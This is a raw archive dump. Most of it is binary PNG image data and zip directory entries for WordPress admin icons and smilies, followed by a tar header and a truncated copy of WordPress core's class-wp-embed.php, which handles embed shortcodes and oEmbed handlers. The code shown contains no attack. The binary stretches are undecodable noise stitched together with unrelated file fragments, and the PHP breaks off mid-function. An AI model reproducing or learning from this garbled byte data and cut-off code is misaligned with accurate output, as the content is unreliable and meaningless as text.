3f}l��gi�Zn6�l��754��2;4�J�	o�nO��;����._�vqN4�g=�]���"�l�D�]�	*^�<k�9:`x����������c Z����l�u,�e�v�ֱ�!�u��V��
���N�7^h����c����٭�#�0k���=kY��>F��'0���L�,Q��^(m���n(���^�=�������-�.`���!�b��[p�Fȯ'p�La�a�t���i)zٶjع��z۲��9�Z�^~�
+���
+���
+���
+d����5��G	IEND�B`�PK��e[B"����wpicons.pngnu�[����PNG


IHDR0(�50��PLTE����������������������������������������������������������V[eIIISSS>>?������Hm�:::OOO>>>MMM���]\\Yv�YYYqqq���mmm{��������x�̉�����������UTT���MLL���]]]qqq���jjj<g�rrq��ء���������KLMBd�h�����qqq���On�������;Qw���8Z�fffe��YXXh~��������ʬ��wvv���Lg������Ws�d��rz�������l��>T|bbb��ؖ��eee��萏�����Ў��ˠ��z��xwwaaa���e~�<Qx_ɰ��w��=Z����}}}KKK-./�����،�������F^�III��̶�����Lb���˂�����SRRooo���������(''�������ވ�����eeeOOO=RyaaakjjssscccH`�___nnnTTS8a�ggg���^^^Ic�{zz2W�1T���̵�����WVV\[[ppp���5\�FGIYYY4T����2^������/Q���گ�r���U}�YXW����;4g�8x✲ۥ��γw��ᰰ����X���咒�������,J�Dq����p��f���CxԂ��[����_����������������`��Ĥķ��:z�O����񝦹��k7�x~p~�ā�����i��d�pL��h]�S[�S�ڊض��Y�O*�>����S&|��tRNS_.@��U)#3;GOQ9�7��*���ܶ�&� ��b��k����]����ppW������2q�������8���OP�g�t]�ݬϷ���:����ο6�Uѱ����{�ц�����ܾȜ{�������v������D
y5�IDATx��y\Sg��I`�B��*�j) ��eE�"Zq��թ��t�ʹv��{;�4�!&��%���P,V�@Q@o�-�mo�k����?�}ϖ�d.v�~��|J���9'�y��Y�Wk��m���q)����A���%�e�~:�Y�2&��[����m���\���X��~9�ß�t%,V,N�օ[�%�?�s���ܦ�%T�ZUY��j~<ߗy��!|�Mb�o�U_}�r�m���,�E~?7d�ba�1��t��:�Q�~;E� ��b5v�ĉ�0���+ms%��Zq�TR}{[��1�����@����������~�`W�&��_����K�q�����6��oi�Q��ؾ`8�9n���,9yY@����l�>�qV��j���y�[�bŊ���||��wA2p�{S�Ⱦ�J��<�r��K��|�o�0�<�]�~��s�>h����B1<��K>8<��zpx��2<�R򏈕��_�l�V\�,j��>�}f&f�;:�b��G�믿��S�>:z�>>���S�"��/��P|��`�~�X�����$�]�O��{�}�5���$F�I
H~ؚ_/�wx9K���Ӥ�P��fi�3g�n
든'�^(ܸ�z���uྏ�6�ON�7�h�����{2L�W�>�$U٩��l:%�T���SAJ�"Ot��U���|�CG��}�5cV7Eƛ#ᑬ؁a]�1�N#�����!9􉧦�srwK�^�<*���>�/�`-0
)&�`?�7	n���7w�!:o��㽶��{��~o�P��ǟ
�?Ňf�.�"!/�EZ�5��Ck��p���I�x���=�	0h|	->�s���3��z)�Y������šd�)��n~~t4x��Q��#��G���<h��X����O
���ε����{�����]Bv�ڳ���"Q~>��hԏ������������
�
��C�9O�DҶc�kΡ#�&1�7��ؤ$�|�+�,�{�~����'ܴir�FDeˇt��ũ�@��p`�ӭ���?���~�#�� �v(�-
;sf�r��߸U����3g��ۃ؇���W?.aչ����v�I�`Y�pxl�w�r����w!uIF��م�7ȑ)�||�6���h�jWaqOt�yy5��Y
�)�v8j���"�#�YoW54�Ȕ$�1苳���d�a��>T
#�>���mx��`Ïk�1*l�D뗑�;�0�Cݍ5�ݵ�V`��2+0v.���x��X`�0�񟀘���Nûl!�3g�B��!�Ӯ"��ȴ�{6�����g���"�?�ןk�7L?�>b���{���e�`]}}
̎���+Dl4P���E�z`ٵ\�.��wp}�Ɵz��\�,���ò��%{��ƪ��a��ud�"W����.�	=_~��v��u�~�6ؕ;F)`<h`�E�����819�)��H�3Q̔�����o8/_޸��5�����OG��ɽ���`\�o;ˈQ��t5̯����
�����lq�k0k�_��X/���w�����D܂W�k*�����V`����B�� "�ß�.ɣc�%���>p<��S��Z��0A+� /r�@T0�O�g�LH}4I
����bǶS}�)�����H"'��ٚ��Ik�+���?63
k��z2L�w4/߼h�0�����=aB`V�4.\v��h^N;�����J�>����OƳ
Loo�?Nj��7T�yev	��6t�ҥs��T�/��I���E|$��=s�Ђ�j>��w�%�>w�1w�9�	P��	^�׋�^��
�DY�a�;�NM\��z&�%O��X��M1����V&�(0�,/����#L�?����*��80-d�C�I�u����7/
]�i�����%"�y��&�calHaD�f�z���S�r�|=\����n}60��aa�&������V`��E�m���b�o��
II�]�ϵkcڌM�	ϳp��H�s�a�҆*!/��j��p��T���1����ܡ��!wFJ"���j�l�I`x�h1�w�a-�U��-�9P罷pr�l�/9�@�5l���Pﭡ1&�x���:c�%q@�A�$���k_����0kNR(�U��⿄Dž��I*%}z���On��˗?%R�r
.��b}��TX�����ߏ�U�������P�%	m#��A@�&����k5L��ʨ�ayrL���`CC����@P�>��r�jz]��͋��	��#�_Fы���V+��1�`8���@���U���.�n8899yp�g�}���L{�u
��;4��t�>L��Ɨ_~���Y�|u�.ɗ
��`\���e2޹�g=�`HNr2��&H6������˷���@��+��|@KeiM~q1ٳ-�[�_�Y�č'<��܃3]�t�nƏ��l��Ҥ�M�Odϡ�I۩����#�	
���xV������/�%��N<����h^XJf[�$�a	�$ �`�?��ra<||B�᫏q�����ۛ���	`�80 ���W��7����
��k��^���e�W��jFPi��9$ƍ�Zn��Ր��w��父ڗ���&�����	���J[jj�ן�vI~%��A�z��z-���%�.���|��~�P1����j������"��k0�~:2�Y/^����'Sy� �=�~��d�Fw�a�j`f�����ܵk���\��0^N��eSRO{����5�^��	?��_|'}�q�}�TY�W��|�rAr�6�������
ũ�$߅d"ߏ��7��
�IHO��#̧�L�yy�Q����],���{\���H�q�%����u��dks�a@J�醇ӂ�)ImV�f��?O<��=�b�~ˢ�	Cyaɘ�DFc!�9�.^ּ��
Yh��.�8�A�zF
�kn�'���b�c���`�[J��K4�H_��/�w���atI@��50�j<@<�0��$�4P^^\_P���PPP_\n`,
ܿ
q�}���A��K���03�9�0�ip�1-=6I;Ԡ���`���h?�4����c���a�8[_�D����'fa3Q�SR����XJ-<�~m�]�
�=�W��b>3%9h��_�o%lv�+��^��,>�X�`�%yo�6���S�*�"�$�{�i`��A�n��x�1��O/a.
P=N‹Cs�a�݌4�40�9��R��I�,)� ��$�t��,�a�q�����m��|���lZ�j�o�x:2��W��s�ix��y��y��y�����hf��h�_TӋ��5��mƚ�" `�S4��w!�7��l��˷jz{zlW�%�>M��ȕ��78�����5�q�*[M�hϨ����E�'�w��Ěެ��,[M/�C����ɞNӛ�����=�WX�%1''1×��io�]�Nh�4z;�*���Ji[����#�D��=�@5�AQ���.>���흥��jf2v�iæ��(M�x`��E�u��91Ø���P�iQ#K��(������q���.�m��i5�qUUU)e��W�S�X2�R��"*؅]<p�t:�u�.N�ܬ��˄�Bӛ!��5�g��[<12.�Hd�#�]jzCj[Lم�JSK-���+�n2%z���>z�h��NV�c�������w�hz�WPMơ����ɷu"�ͩ�׌�L�|ء�i�aR)�*��
Zӛ(�n��Biu�t��2�Œh�ʴ�#��B+s�",rk�Z���B�@5�q-�8��yKS��4��V�Gb��䄦WW�����4�E�#*��ܢ��FF�\��æ�u������R�k�8p�E��B��5oϳ�0tDY0��h�U��_D5���ɢ�y�7\hz���AW0�4��Ri"��f��^g�O[e�TX5���`l]�=���kM�x4D��Ѥ@Mo�FSF���U�)*��\N���B�"S�����2���:�Բ
��^1�G�a��}����HYg�Z��H�b�����,����ÏR�k���c���G�l'R�L5���f���3_%�q��#�a�⳦��Z+,��W�=G�V�ԅ�5��z����C����,��Min��4�1:WFCize*�,>�� ���/S�T����G+��W;G���"�x��w]FF�1���jS��Eٲ1Cӻmp0��e�T�����^��rjz6��w�5��=�G��`hz�J�6�j�
r���hz���:���1���>��J�K�A�,�쭪ޑh�Tњ^����LM/t��%�2K�/��iG���a��"pU�9�&*��j����[t*e��j 1$0�M!���t�-�����PCk�8"W+���`�:#`��L�'K�8Km�KV]ѕ���������a��7��R;Moa�E@ӛ�B�#��^�ͭ�iMoPLDzP``I�;o��i5���]0�.\ �\kzga8�ƨ�
)R�괠�bjz�Ke=�2�G�wڎ6T�ێ�U�P�%�Y`'����p`�FG��):]����Y��GqPӛb2���u�FSK6�4v���S!?6*�'��U-�!�T����Օ���9F�6T�k�%���L�-��9�G�=�stX4�&8mb7���
N{󝼒p����(�_P���hƱ�5��e�#LI\&��*��M�{��1%�Х�lUL<P\o�:܂�/�F��m.5�[@� �;���0hlaRL:��xx$��^�~���,S��d2�{t�U&%���ܬ�ڦnU����̭V`��AR�K��lu��kMo�bl��
qT<�ᦌH�s��(G/���SP��2��wbШ%5���DjzA[�5��m5��-�Jて�VZ6���b;��J,����K;22��tب��nK���7���퐗��6��צK�4�TDJR�b��5�0H
��d�r�����"SR���i��οC�$�- ��s��cե�
V`��b�'�HH���ۅ�{g]�m��j�����{)�C
�Ѿ2�B��hB_ddQ^�t���;���w�x��0�^�V��Z5��R鋹�U����q���IJu�4�D�F�//,���ŋLM/t�˄�2e�$�	W�v��ն����K����t0�	Rt�C��7�UL��5�:S�sMo\WU��Ws�Ԕl����H��X�:
ВR�5j+���s��;rA����xQ�~)j�tI��$?na��0��nWi���S5�S(0��
��k��׻1o�	�1��@��(�y�h�I�cMom&#�Ь5�F-�LM/tI�T�aV�6ބx�N__O�n;M�M� �3큚���C�c�g5#H�p������sw40W��h�S���V��RQa�N��ů$ܬ�-]wI��]�#M�j���f����F0���SoƠ�ހ����^�Z-?�gR��VM/c���Hp���)�����ƕY5�vƙ�W
S
S�]]FvUb�(p�NOϸ��צK��WW���\���=+sˬfz9�خXg���X!=q�yG���j���t0q�hz���uu�@��E5��>uu>���A��V�"k-��5���S��9���~���]A,���j�^��KɌ&$0]�֖G��}
~&S�]���}7F4��6�^�.iK�x��L|g֚޸��=���
{2M���{} �N��s�40Cs�%q����t&'ϡ�����^���.
�Nkz�L^��i�![%;M��Fj�qF���Ah�2�M,���l?Wf�mÅF0�f��=��a��xîL��8cy�]�ċ9z�u?���7<2b��f?��s��a��j�8�?��W����;+M�L�����ɘX�"6�ɿrMoNμ�w���/b���&�IEND�B`�PK��e[]�&��	�	admin-bar-sprite.pngnu�[����PNG


IHDR��;I_	jIDATh��Y
PSW>H�BU4��e�ˮ��ʔ�n[w���]*"f��TꭨT��������_J-� !!!$�H�(c;�l�q�:��nu�Z`�H��a��3;��̓s�޽��{�;��D��sE�����2D�vḴ���5l5Y�u-:�k�š6EW���n��6����Ϯ֌�c"ĺ�:V�ǩ����1�Ȍ;��˰,F4Ǚ���,.+�|LԘ��zV����Q��+Jl�n�m`
�
�
_��`ד���������ƹO]������eM��$q��g+�2�F�Ė�����3�]Ԫhh-���_y{~c�D��]��Ϻ� uI�ƺX�v�� ~�xj{w�+b��׳������}!����HcH{>�]�R��.�O�-�vw`�_sEl\���ӾqE�l�����K_�m�Ƹ�-�'x�$� �?j�X3F<�;*�`�Vo��2`0|����
F��Ⱦ|v'>ӷߞ�J�"r^9�]�j�lw�8����=�+�S`ꛋ�v�(*;��s��0m�
��=�g�z�o��p��Y���߽�Qٚ��c�X�_�*+�0]�m����{�4�����ZA� >����
yuK��u}���Ru��X[�@s�@�C�M��áh�����Ċ���l:'0;UwG�݋Q�;���E@�/޹�g������ݎ�\i���E��wj�`�ٜX�~���su�x>`�|�$�Z�M9�bi��D�
�ܝY�2�'F@@e3�\VTwY� L)٫*�iy�ė�;Yfb��/w���ء7q�\�����f�I$��W�^R~`b���a��pI�х U���61�Y/����4{�R33=VĀEU�ك�*O���X��Z�3
�O*���$�A�K�Y�{������w�����yQ���s0���$n�~ ��%��u]2E���i�������}�/�Yz�� ;�i��4�`���-��,<�*+n�5o��Xˍ�h�w�%�O_�qNby��|���=��.J�c�Ԗ��A�#g����Re�
Oi�s��g��Gf9�H�������U���*L��?�V�m>_���$�;
'��-_6�ff��t�����q�_��yX�@,�D,-��8l
G�[&(DB���t�D'j�D�@JbH�J�f�K��AbFӲ�e�D��^�Io����TN�����GZ�Ð�F�ݔFZȾ!�Jri�Q4i	!W�J�&%�8hU"n�J:$W�(��J�@�j���Hl���ڋ�$A�"V�tC�B��@��pW�F*�m���d�+$�^��X��>��C�A�S	�$ѤH?��P-6��;B�`%:H��Υ� �xb P<��9|�B &�{�3���{�б�S��ؘ�����A�x�u��^ơ�،�px�Wi]J���b�1�1�{�a��1�f���D�?���>��)�3�Êll��ڏ:��m?��!R���V�mF�}#mYf_Ba�����+�J�h�¦���t޲;HI�>���G���+I�����c�
���+
)���!:�K#��0SM�Y��8���A�r�F<0�H^v��ȷ(���/`����Q����TLF�W��o2�� �|G�T��9�)!�s�(�P���^=1/�N��{�r��-L��اd�p��6�Y^�Ć{V&��D��K�gI�_r�Ɣ�%E�Z�0Fp���������=6�����1��m<ꍑ�
/��󌇩&�"�.�m����"E6��l�d�B|Q�'=�aƉr�)��Lxw7�~�zLd�zL�斧��q\(7������8͋]��߬�����U�}�u.���͙����5������?>u:�=�(;�[ͪ���)Bc�)r��5,O�EΝ��4)�M��-��p�����
�A-�Qnr�bhi[�k�T������N��t�V�$����\ O�<��)��t�� Fj�����P7�F����A�
�T�?|(��_�����e��{7����Q7��aE�|�ikSN]�B����L�(���2$ɸ�m�v��q����d:Yh�e����7�q�f����X�N^��4.꣊�A��@:���'[Fo.�6}�����6�­�=vW�G�Y�=�x��I�Z�1S��0���zJ
���cr��s\��9��x^d'�M�s�`��8u������r[�\HJc�s�eb=W�Z����@x���4����(��9������v��'��~��9��i+#�<����B���?t�����\o1.;�upى��k-���z��A$�2�D�k#�S�k�1���b<&\�2�?2����Okц
�&�TIEND�B`�PK��e[��*'media/code.pngnu�[����PNG


IHDR0@!N�PLTE�������������.ftRNS@��f�IDAT(�����0CuPQ0FF`#d��>,�>�R~���S�wr�un��A�px��� $��`�`R����&u(R�"u(���cزB؃B8'�p
����N�	;f;u �X����c��H�I�"	R$A
j��5�
jP�ZlC]�m�k�
u-����Q!�Y!�B���^����NgIEND�B`�PK��e[؏���media/spreadsheet.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zM40 140H10v-10h30v10zm0-20H10v-10h30v10zm0-20H10v-10h30v10zm0-20H10v-10h30v10zm0-20H10v-10h30v10zm30 80h-20v-10h20v10zm0-20h-20v-10h20v10zm0-20h-20v-10h20v10zm0-20h-20v-10h20v10zm0-20h-20v-10h20v10zm0-20H10V10h60v30zm40 80h-30v-10h30v10zm0-20h-30v-10h30v10zm0-20h-30v-10h30v10zm0-20h-30v-10h30v10zm-30-20V10l30 30h-30z"/></svg>PK��e[Bi���media/default.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zm0 40V10l30 30h-30z"/></svg>PK��e[<�u���media/document.pngnu�[����PNG


IHDR0@!N�PLTE�������������.ftRNS@��fjIDAT(��ҹ
!D�/2
�$�	E����
�cBC��^��2vO<��p�!hCP���0CІ�vA�/f��.(�����;y����%�V�p��㻱�#���}\���D�οIEND�B`�PK��e[�|�media/video.pngnu�[����PNG


IHDR0@��uPLTE�����������������������������0h��tRNS@��f�IDAT8��ӻ
B1�aH�2p=-�
2�m�hi��
�E8�#����K��<(�)��#�$����xXh�4@�4�%#�$��P�$�@��I���X_�m+��`��"�
f��dpUXIЁl$�L #�7@A��3����t8�;wpU6线��;��l_[��l!IEND�B`�PK��e[���media/archive.pngnu�[����PNG


IHDR0@yK��tRNS�[�"�ZIDATH����KAp�������걣`]:�B'/�A����o�q���9	�ew`?̼y_vj�	�Q#O��`]8Al'�!,�F0���4u�"nhsM�`5��"x@�[J�-�bO�Q��B��ڑ��d䢢q�X:؊RV��psTm)\�g)/�	v��Iy��h��eɣ�W��%n�b��i�h�t��ad��³�����'K��nC~�h����	�_]�,����c��pQ�'<�:Q}&�47Xm"�6��?��K�5��
-'�ᓵB�B�҈�iއ�S��-f�����MHl�w�C�KE��*��IEND�B`�PK��e[SKz���media/audio.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zm10 72v40c0 4-1 7-4 10s-6 4-10 4-7-1-10-4-4-6-4-10 1-7 4-10 6-4 10-4c2 0 4 0 6 1V76l-35 8v34c0 5-2 8-5 10-2 2-5 3-8 3-4 0-7-1-10-4-2-3-4-6-4-10s1-7 4-10 6-4 10-4c2 0 4 0 6 1V72c0-1 0-2 1-2 1-1 2-1 3-1l43-8c1 0 2 0 3 1v10zm-10-32V10l30 30h-30z"/></svg>PK��e[H{ca..media/video.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zm-10 120c0 3-1 5-3 7s-4 3-7 3H30c-3 0-5-1-7-3S20 123 20 120v-30c0-3 1-5 3-7s4-3 7-3h30c3 0 5 1 7 3s3 4 3 7v30zm30 0v10l-20-20v-10l20-20v40zm-20-80V10l30 30h-30z"/></svg>PK��e[�A�**media/interactive.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zm20 120h-30l10 20h-10l-10-20-10 20h-10l10-20H20V60h80v60zm-20-80V10l30 30h-30z"/><path d="M60 70h30v20h-30zM30 100h60v10H30z"/><circle cx="40" cy="80" r="10"/></svg>PK��e[۠�>>media/document.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zM10 10h60v10H10V10zm0 20h60v10H10V30zm0 40h40v10H10v-10zm0 20h40v10H10v-10zm70 50H10v-10h70v10zm30-20H10v-10h100v10zm0-20H60v-30h50v30zm0-40H10v-10h100v10zm-30-20V10l30 30h-30z"/></svg>PK��e[���4��media/code.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zm-30 110-10 10-30-30 30-30 10 10-20 20 20 20zm30 10-10-10 20-20-20-20 10-10 30 30-30 30zm0-80V10l30 30h-30z"/></svg>PK��e[w*Z���media/text.pngnu�[����PNG


IHDR0@!N�PLTE�������������.ftRNS@��f^IDAT(��б�0C��2HF��^&�x4*�^#�	;SR
0�Y�����R�,�HAA�f	F
z��3�m���g�ov��LG��P�KIEND�B`�PK��e[�ɼ�media/spreadsheet.pngnu�[����PNG


IHDR0@!N�PLTE�������������.ftRNS@��f^IDAT(��ͱ
� DQ+]�H
C�L�a4|��WE�\c��ˢϪ�^Ff��ӻ�B83�HA�@�@�@�@�(`Q�"�Mc�����%�YGX˪���IEND�B`�PK��e[�n�Lmedia/text.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M80 0H0v160h120V40L80 0zM10 10h60v10H10V10zm0 20h60v10H10V30zm60 90H10v-10h60v10zm40-20H10v-10h100v10zm0-20H10v-10h100v10zm0-20H10v-10h100v10zm-30-20V10l30 30h-30z"/></svg>PK��e[�Rɨ�media/default.pngnu�[����PNG


IHDR0@!N�PLTE�������������.ftRNS@��fJIDAT(S��1
�0E��lbH��0��1�.m�d�m�x�$}i��d� ވ����BV"ڃx#V��?77��J�󜏥=�IEND�B`�PK��e[B�,�??media/interactive.pngnu�[����PNG


IHDR0@��u*PLTE������������������������������������������q�[�tRNS@��f�IDAT8����
AA��#
���pP%�(�Ԡ��d�ۑ}3�=H,1��w6���ű0�+�\b��5����i�@�x�����U�@�@x&��2S���]�t
n��!�)s�=Ȯ�0�!t��+�o<��+*��C�O�#���8�ƊN�t �P�C8BЁ�I�䈨dKr����
^�S�D)IEND�B`�PK��e[�0���media/archive.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="48" height="64" viewBox="0 0 120 160" fill="#888888"><path d="M120 40v120H0V0h80l40 40zm-40 0h30l-30-30v30zM40 15v20l18-10-18-10zm0 30v20l18-10-18-10zm0 30v20l18-10-18-10zm30 35v-20l-18 10 18 10zm0-30v-20l-18 10 18 10zm0-30V30l-18 10 18 10zm-25 57s-4 20-5 27 7 16 15 16 16-7 15-16c-1-4-5-16-5-16l-20-11z"/><circle cx="55" cy="134" r="8"/></svg>PK��e[U��~~media/audio.pngnu�[����PNG


IHDR0@yK��tRNS�[�"�7IDATH��տK�P�!�C-Z��vp1���hu
"*�.�ıJ������3ywAP��v��!\.5��!�U3J
 �� �	4@�T��`���`)�@6X
>HE	���S����.Ի�7� ���v.�If'�`�bt����ҁ�$�=D�۳�$�w�&p{�:��v���q:�%�Q�b�r2
F���.5C5ߜ��r���>�_	��觹 ��V�/��Y�Š+ǹ@���tr������˯rK<#���*�|;|�˰�����d�q�Q�*�K��ui�V�IEND�B`�PK��e[ʮ,�HHspinner.gifnu�[���PK��e[����
�
�uploader-icons-2x.pngnu�[���PK��e[*%�
�rss-2x.pngnu�[���PK��e[�*�99
�!xit-2x.gifnu�[���PK��e[�{�y;;e%down_arrow.gifnu�[���PK��e[R��b�%icon-pointer-flag.pngnu�[���PK��e[F
/)��2)smilies/icon_mad.gifnu�[���PK��e[۴����"*smilies/icon_arrow.gifnu�[���PK��e[�M�f��+smilies/icon_wink.gifnu�[���PK��e[c��&\\�+smilies/icon_mrgreen.gifnu�[���PK��e[|�ֆ���-smilies/icon_exclaim.gifnu�[���PK��e[������.smilies/icon_cry.gifnu�[���PK��e[b�����0smilies/icon_twisted.gifnu�[���PK��e[I�`G���1smilies/rolleyes.pngnu�[���PK��e[����7smilies/simple-smile.pngnu�[���PK��e[��;c��<;smilies/icon_rolleyes.gifnu�[���PK��e[	,oKK\=smilies/icon_lol.gifnu�[���PK��e[�nrZ���>smilies/icon_question.gifnu�[���PK��e[��ɭ�+@smilies/icon_smile.gifnu�[���PK��e[$f�6��Asmilies/icon_neutral.gifnu�[���PK��e[�;?3��
Bsmilies/icon_biggrin.gifnu�[���PK��e[��[��Csmilies/icon_confused.gifnu�[���PK��e[�ޯ����Csmilies/icon_idea.gifnu�[���PK��e[zz����Dsmilies/icon_sad.gifnu�[���PK��e[�W�����Esmilies/frownie.pngnu�[���PK��e[��.��Jsmilies/icon_razz.gifnu�[���PK��e[������Jsmilies/mrgreen.pngnu�[���PK��e[8����
Qsmilies/icon_redface.gifnu�[���PK��e[:7m���Ssmilies/icon_eek.gifnu�[���PK��e[���K���Tsmilies/icon_surprised.gifnu�[���PK��e[�{���Usmilies/icon_evil.gifnu�[���PK��e[1�fB���Vsmilies/icon_cool.gifnu�[���PK��e[�����Warrow-pointer-blue-2x.pngnu�[���PK��e[���YY^icon-pointer-flag-2x.pngnu�[���PK��e[�+�� dcrystal/license.txtnu�[���PK��e[l4��DD�dcrystal/code.pngnu�[���PK��e[�QE|kcrystal/document.pngnu�[���PK��e[�X;;�scrystal/video.pngnu�[���PK��e[�O�	�	Kycrystal/archive.pngnu�[���PK��e[n��7��$�crystal/text.pngnu�[���PK��e[B���h	h	�crystal/spreadsheet.pngnu�[���PK��e[4�$�����crystal/default.pngnu�[���PK��e[ ��4����crystal/interactive.pngnu�[���PK��e[f�,1����crystal/audio.pngnu�[���PK��e[�y'r�uploader-icons.pngnu�[���PK��e[�!!ȩtoggle-arrow.pngnu�[���PK��e[���)�arrow-pointer-blue.pngnu�[���PK��e[d	�_``��rss.pngnu�[���PK��e[��>mbb�toggle-arrow-2x.pngnu�[���PK��e[��A9TTIJdown_arrow-2x.gifnu�[���PK��e[�sY�w-logo-blue-white-bg.pngnu�[���PK��e[z��t����admin-bar-sprite-2x.pngnu�[���PK��e[���pp��spinner-2x.gifnu�[���PK��e[Wlm�++	L�blank.gifnu�[���PK��e[�6����xit.gifnu�[���PK��e[�f��"�"
��wpspin-2x.gifnu�[���PK��e[���G
�wpspin.gifnu�[���PK��e[,}�))�w-logo-blue.pngnu�[���PK��e['��S:S:**wpicons-2x.pngnu�[���PK��e[B"�����dwpicons.pngnu�[���PK��e[]�&��	�	��admin-bar-sprite.pngnu�[���PK��e[��*'��media/code.pngnu�[���PK��e[؏���ۋmedia/spreadsheet.svgnu�[���PK��e[Bi����media/default.svgnu�[���PK��e[<�u���Ύmedia/document.pngnu�[���PK��e[�|�؏media/video.pngnu�[���PK��e[���2�media/archive.pngnu�[���PK��e[SKz����media/audio.svgnu�[���PK��e[H{ca..Ӕmedia/video.svgnu�[���PK��e[�A�**@�media/interactive.svgnu�[���PK��e[۠�>>��media/document.svgnu�[���PK��e[���4��/�media/code.svgnu�[���PK��e[w*Z���f�media/text.pngnu�[���PK��e[�ɼ�`�media/spreadsheet.pngnu�[���PK��e[�n�La�media/text.svgnu�[���PK��e[�Rɨ���media/default.pngnu�[���PK��e[B�,�??��media/interactive.pngnu�[���PK��e[�0���%�media/archive.svgnu�[���PK��e[U��~~�media/audio.pngnu�[���PKOOx��14338/class-wp-embed.php.tar000064400000043000151024420100011311 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/class-wp-embed.php000064400000037073151024214400024673 0ustar00<?php
/**
 * API for easily embedding rich media such as videos and images into content.
 *
 * @package WordPress
 * @subpackage Embed
 * @since 2.9.0
 */
#[AllowDynamicProperties]
class WP_Embed {
	public $handlers = array();
	public $post_ID;
	public $usecache      = true;
	public $linkifunknown = true;
	public $last_attr     = array();
	public $last_url      = '';

	/**
	 * When a URL cannot be embedded, return false instead of returning a link
	 * or the URL.
	 *
	 * Bypasses the {@see 'embed_maybe_make_link'} filter.
	 *
	 * @var bool
	 */
	public $return_false_on_fail = false;

	/**
	 * Constructor
	 */
	public function __construct() {
		// Hack to get the [embed] shortcode to run before wpautop().
		add_filter( 'the_content', array( $this, 'run_shortcode' ), 8 );
		add_filter( 'widget_text_content', array( $this, 'run_shortcode' ), 8 );
		add_filter( 'widget_block_content', array( $this, 'run_shortcode' ), 8 );

		// Shortcode placeholder for strip_shortcodes().
		add_shortcode( 'embed', '__return_false' );

		// Attempts to embed all URLs in a post.
		add_filter( 'the_content', array( $this, 'autoembed' ), 8 );
		add_filter( 'widget_text_content', array( $this, 'autoembed' ), 8 );
		add_filter( 'widget_block_content', array( $this, 'autoembed' ), 8 );

		// After a post is saved, cache oEmbed items via Ajax.
		add_action( 'edit_form_advanced', array( $this, 'maybe_run_ajax_cache' ) );
		add_action( 'edit_page_form', array( $this, 'maybe_run_ajax_cache' ) );
	}

	/**
	 * Processes the [embed] shortcode.
	 *
	 * Since the [embed] shortcode needs to be run earlier than other shortcodes,
	 * this function removes all existing shortcodes, registers the [embed] shortcode,
	 * calls do_shortcode(), and then re-registers the old shortcodes.
	 *
	 * @global array $shortcode_tags
	 *
	 * @param string $content Content to parse.
	 * @return string Content with shortcode parsed.
	 */
	public function run_shortcode( $content ) {
		global $shortcode_tags;

		// Back up current registered shortcodes and clear them all out.
		$orig_shortcode_tags = $shortcode_tags;
		remove_all_shortcodes();

		add_shortcode( 'embed', array( $this, 'shortcode' ) );

		// Do the shortcode (only the [embed] one is registered).
		$content = do_shortcode( $content, true );

		// Put the original shortcodes back.
		$shortcode_tags = $orig_shortcode_tags;

		return $content;
	}

	/**
	 * If a post/page was saved, then output JavaScript to make
	 * an Ajax request that will call WP_Embed::cache_oembed().
	 */
	public function maybe_run_ajax_cache() {
		$post = get_post();

		if ( ! $post || empty( $_GET['message'] ) ) {
			return;
		}
		?>
<script type="text/javascript">
	jQuery( function($) {
		$.get("<?php echo esc_url( admin_url( 'admin-ajax.php', 'relative' ) ) . '?action=oembed-cache&post=' . $post->ID; ?>");
	} );
</script>
		<?php
	}

	/**
	 * Registers an embed handler.
	 *
	 * Do not use this function directly, use wp_embed_register_handler() instead.
	 *
	 * This function should probably also only be used for sites that do not support oEmbed.
	 *
	 * @param string   $id       An internal ID/name for the handler. Needs to be unique.
	 * @param string   $regex    The regex that will be used to see if this handler should be used for a URL.
	 * @param callable $callback The callback function that will be called if the regex is matched.
	 * @param int      $priority Optional. Used to specify the order in which the registered handlers will be tested.
	 *                           Lower numbers correspond with earlier testing, and handlers with the same priority are
	 *                           tested in the order in which they were added to the action. Default 10.
	 */
	public function register_handler( $id, $regex, $callback, $priority = 10 ) {
		$this->handlers[ $priority ][ $id ] = array(
			'regex'    => $regex,
			'callback' => $callback,
		);
	}

	/**
	 * Unregisters a previously-registered embed handler.
	 *
	 * Do not use this function directly, use wp_embed_unregister_handler() instead.
	 *
	 * @param string $id       The handler ID that should be removed.
	 * @param int    $priority Optional. The priority of the handler to be removed (default: 10).
	 */
	public function unregister_handler( $id, $priority = 10 ) {
		unset( $this->handlers[ $priority ][ $id ] );
	}

	/**
	 * Returns embed HTML for a given URL from embed handlers.
	 *
	 * Attempts to convert a URL into embed HTML by checking the URL
	 * against the regex of the registered embed handlers.
	 *
	 * @since 5.5.0
	 *
	 * @param array  $attr {
	 *     Shortcode attributes. Optional.
	 *
	 *     @type int $width  Width of the embed in pixels.
	 *     @type int $height Height of the embed in pixels.
	 * }
	 * @param string $url The URL attempting to be embedded.
	 * @return string|false The embed HTML on success, false otherwise.
	 */
	public function get_embed_handler_html( $attr, $url ) {
		$rawattr = $attr;
		$attr    = wp_parse_args( $attr, wp_embed_defaults( $url ) );

		ksort( $this->handlers );
		foreach ( $this->handlers as $priority => $handlers ) {
			foreach ( $handlers as $id => $handler ) {
				if ( preg_match( $handler['regex'], $url, $matches ) && is_callable( $handler['callback'] ) ) {
					$return = call_user_func( $handler['callback'], $matches, $attr, $url, $rawattr );
